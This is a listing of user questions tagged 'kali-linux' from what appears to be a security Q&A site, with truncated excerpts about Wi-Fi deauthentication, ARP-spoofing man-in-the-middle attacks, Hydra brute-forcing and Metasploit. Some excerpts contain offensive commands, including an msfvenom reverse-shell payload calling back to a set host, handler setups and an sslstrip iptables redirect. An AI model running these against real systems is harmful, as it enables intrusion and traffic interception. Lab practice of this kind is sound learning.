Questions tagged [kali-linux]
Offensive Security's penetration testing Linux distribution.
342
questions
0
votes
0answers
56 views
Kaspersky TS blocking apt-get upgrade and marking files as HEUR:Trojan.Script.Generic
I have just recently downloaded kali linux onto my VM software and i was doing apt-get upgrade in terminal and some files got blocked by my kts and i was wondering whether it was a false positive as ...
-1
votes
1answer
94 views
Kali Linux Firewalls and Endpoint security [closed]
I was asked to explain why Kali Linux does not have any firewalls or endpoint security. I would appreciate any help as I am a complete beginner to Kali Linux.
2
votes
1answer
77 views
why my Metasploit folder does not have wordlists folder (usr/share/)?
I am trying to use msf word-lists but I just noticed in usr/share/metasploit-framework there are only two folders lib and config.
I am not sure how that happened but my msf is updated.
Is there any ...
0
votes
0answers
28 views
Aireplay-ng doesnt get ACKs
I use the panda pau09 wireless adapter with a kali vm. I am attempting to deaauth my laptop off my home wifi. My last theory was that for some reason i wasn't able to deauth on 5Ghz band but after ...
0
votes
0answers
109 views
Aireplay-ng deauth has no effect
I am trying to deauth my laptop which is connected to my home wifi. aireplay-ng has no effect on my laptop.
The commands I used are in order airmon-ng start wlan0 then after getting the mac address ...
0
votes
1answer
58 views
Extract data from burp response and use in another request
I have a scenario where I need to call /api/login to get a token and then use said token in subsequent calls until it expires.
Is there a way to automate the call and token extraction and then to ...
0
votes
0answers
139 views
aireplay-ng --fakeauth issue with deauth packet
I am new to Kali Linux and I want to check if ethical hacking and pentesting is my cup of tea. I'm trying to associate my wireless adapter with an AP via aireplay-ng --fakeauth, but every time I use ...
0
votes
0answers
14 views
Is it possible to launch man in the middle attacks on ip addresses connected to a different network than the attacker's ip? [duplicate]
As the question stated, I am just wondering if there is a way to do this, perhaps using python or kali linux. I am trying to attack my raspberry pi that is on a different network than my pc (I have ...
0
votes
1answer
85 views
How Dirbuster find the files within a directory? (Differentiating between files and directories) [closed]
I am writing the python code of DIRBUSTER tool in kali linux but I got stuck at finding files that lies within directories. So my question is how can I differentiate between Files and Directories ...
1
vote
0answers
159 views
Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi
I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM.
...
1
vote
0answers
59 views
Hydra gives different password each time (DVWA)
I've looked up this issue and everyone's problem was they didn't have the failed login string. I do. Trying to get into DVWA.
Here's my command
hydra 10.0.250.143 -l admin -P P.txt http-get-form "/...
0
votes
1answer
65 views
SSH Timed out problem [closed]
I can't connect to my kali linux ssh server running in Virtualbox through puTTY. I didn't make any changes to /etc/ssh/sshd_config file, besides Port and PermitRootLogin
That's how i booted up my ssh ...
0
votes
0answers
257 views
arp spoofing - arpspoof vs ettercap
I would like to perform a MiTM attack on my LAN and redirect all the traffic transmitted to my gateway.
I've got the goal using arpspoof tool of Kali but I am not able to do the same thing using ...
2
votes
0answers
101 views
Deauthentication attack failure
Presently I am trying (and failing) to successfully execute a deauthentication attack using Kali Linux. The process I'm using is:
airodump-ng --bssid MAC address here --channel channel # here --write ...
0
votes
0answers
48 views
What's the proper way to identify string values in hydra http post form
I've seen plenty of posts regarding the syntax for setting http post form's when using hydra and all of them just show username and password as being the only two keys when making a login post request....
0
votes
0answers
370 views
Problems relaying NTLMv2 with Responder and MultiRelay
I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup:
Kali Box:
IP: 192.168.1.13
...
0
votes
0answers
106 views
Executable reverse shell payload won't execute on linux machine
Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;
So after ...
0
votes
1answer
198 views
Limiting the number of duplicate character types in crunch
I'm trying to generate a password list of 10 character passwords containing only a combination of 3 - 6 numbers and 3 - 6 uppercase letters.
I see option -d which allows a set limit of duplicates of ...
0
votes
0answers
131 views
Airodump-ng stops working after deauthentication attack
I'm using aircrack-ng on a pi to deauth a client that's connected to my wireless network. I run aireplay-ng and the attack succeeds but now airodump-ng wlan0mon stops returning any bssid, beacons...
...
0
votes
1answer
182 views
Wireshark - How to see the domain of HTTPS websites visited
How can I see the domain name of https websites that are visited on my network? I know I'm not able to see the full url, just the websites ip or domain. I think it my be possible with a reverse dns ...
0
votes
0answers
873 views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
-4
votes
1answer
78 views
I just can't use social engeneering tool in kali [closed]
I'm doing an information security course, but one the main tools isn't working, I can't learn how to clone a site like this, look...
It keeps asking me to copy all the content inside www directory to ...
1
vote
0answers
466 views
aircrack-ng issue: No mon0 when run “airmon-ng start wlan0” and “No such BSSID available”
I have read many threads on StackExchange and some other blogs but none helped me. The issue is with aircrack-ng on Kali Linux. It gives me error No such BSSID available when I run aireply-ng. I think ...
0
votes
1answer
234 views
mitmf doesn't work when disabled ip forward
I have virtual machine windows connected to NAT network.
I also have kali linux virtual machine connected to same NAT network.
I have port forwarding disabled. cat /proc/sys/net/ipv4/ip_forward
gives ...
1
vote
2answers
789 views
Reverse shell refusing/difficulties to establish connection
I've been trying to reverse shell between different devices, however,
I'm never able to establish a connection or get a shell prompt
.
Let's say I have a Mac OSX as victim and use a raspberry Pi ...
0
votes
0answers
159 views
Unable to join airbase-ng AP
In a test environment, I am trying to spoof my basic router's Wi-Fi access point using the following:
Instructions: https://www.udemy.com/penetration-testing/learn/v4/t/lecture/2693224?start=0
USB Wi-...
0
votes
0answers
38 views
Generate a wordlist with strings that have no repeated characters [duplicate]
I am attempting to do this with crunch, but any method would be fine. I want to generate combinations of 6 characters in which no character is repeated. Note that I don't mean the -d function, as that ...
0
votes
0answers
152 views
Exploit TinyCore Linux 4.2.9 with DirtyCow remote from Kali Linux
Do you know if is possible execute an exploit from Kali Linux for obtain root privileges in a remote machine (that I have exploited before with a local user) with tiny-core Linux version 4.2.9, I've ...
-1
votes
1answer
253 views
wpscan is not show the real version
When I scan WordPress site with wpscan I see in the results that I have version 2.10.3 in WP Rocket
Title: WP Rocket <= 2.10.3 - Local File Inclusion (LFI)
| Fixed in: 2.10.4
But I when I ...
-1
votes
1answer
927 views
How to switch from Ubuntu 18.04 to kali linux? [closed]
I am using now ubuntu 18.04.1 and i wanna make dual boot with kali linux. How to do that?
1
vote
0answers
204 views
How can I get MITM attack using sslstrip to work?
I performed the following steps:
I modified iptables to forward to another port:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
I allowed port forwarding:
...
1
vote
1answer
317 views
DNS Hijack: Only spoofing sites listed in etter.dns
I'm trying to create a more practical DNS Hijack mitm attack. I do the traditional arp poison with dns_spoof method. I don't have any issues getting it to work. The intended domain redirects exactly ...
0
votes
2answers
3k views
MITM using ARP spoofing with Kali Linux running on VirtualBox with bridged wifi network adapter
At home I have two laptops (running on Windows). With one laptop (attacking laptop) I try to get in the middle of the connection of other laptop (victim laptop).
To do this is run Kali Linux in a ...
0
votes
1answer
898 views
SEToolkit Not Cloning Login Page
I am trying to clone a login page with SEToolkit in the latest version of Kali Linux. SEToolkit simply isn't working. I have tried running it with normal user privileges and sudo. I have placed in ...
0
votes
2answers
3k views
I couldn't deauth any devices using aireplay-ng command in kali linux
I am using Kali linux. I've updated all tools and services by apt-get update and apt-get upgrade.
I was using aircrack-ng for pentesting my wlan network.
I wanted to deauth any device connected to my ...
2
votes
1answer
274 views
Can't log in dvwa with a simple python program, even though login credentials are good
import requests
target_url = "http://127.0.0.1/dvwa/login.php"
data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"}
...
1
vote
0answers
327 views
Bettercap/ettercap unable to detect HTTP packets
Basically, I am trying to sniff the network traffic from my other computer. So here's the situation:
I am in a network, where:
192.168.1.1 - default gateway
192.168.1.24 - "victim" (my other ...
2
votes
1answer
10k views
Username and password files in Kali [duplicate]
I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23.
I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...
1
vote
1answer
1k views
Kali.download website blocked by Kaspersky because of Trojan, is it safe?
So when I tried to dist upgrade my Kali, at the end my Antivirus blocked it from downloading from this website
Do all Kali Linux operating systems try to download from this webpage (http://kali....
0
votes
1answer
306 views
Switching to native meterpreter
I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service.
I want to change to a windows meterpreter(in ...
-4
votes
1answer
132 views
Reason behind Chrome not running in root user in kali Linux?
Why does Google Chrome not run as root user by default in Kali Linux? Is it a security issue?
1
vote
0answers
496 views
crunch password generation with multiple character sets
I'm trying to use crunch to generate a password list. However, if I add all necessary characters into one character set, as in:
file: charset_huge.lst
complex = [...
2
votes
1answer
371 views
Nmap --script-args usage?
I'm trying to use multiple Nmap --script-args at the same time.
$ nmap -vv -p80,443 --script http-errors --script-args "httpspider.url=/,httpspider.maxpagecount=3,httpspider.maxdepth=1" website.com
...
0
votes
1answer
416 views
Kali Linux: Run penetration test and generate report for particular site? [closed]
I am new in Kali Linux and recently one of my jobs is to use Kali Linux to scan a newly developed site and see if there are any security issue.
And after going through some courses I found that, in ...
-2
votes
1answer
117 views
Security testing alternatives on MacOS [closed]
Is it possible/feasible to set up a hacking machine that rivals a distribution like Kali Linux on MacOS, or will it never be possible for MacOS to rival a distribution like Kali in terms of hacking ...
4
votes
5answers
945 views
Cloud provider for Penetration Testing
I wish to set up a Kali Linux box on a cloud provider in order to perform same day penetration tests.
The issue I am having is finding a cloud provider such as AWS, Azure etc. for this.
For AWS they ...
0
votes
1answer
4k views
Kali Linux and Cell Phone Security
Are there any built in tools/programs in Kali Linux that specifically target cell phones? Furthermore, do any of these tools/programs work remotely without sending a listener to the target?
1
vote
0answers
338 views
SQLmap error (what happen if i have no parameters)
I have an error when I use sqlmap. The problem is: I use this dork https://www.exploit-db.com/ghdb/4301/
but I do not know how to use sqlmap with this type of sql injection.
I use the classic:
...
1
vote
0answers
201 views
Finding phishing sites to certain domain
My work currently involve finding phishing site to a certain domain/ company. I was wondering if there are some tools/ Online services that I can use to find phishing sites. I would like to know;
...
0
votes
1answer
162 views
location of msfconsole generated executable in Kali linux [closed]
I am new to security and pen testing. I am using metasploit to generate my payload. I have generated a payload using generate -t exe -f shell.exe.
But I cant find the location of the shell.exe ...
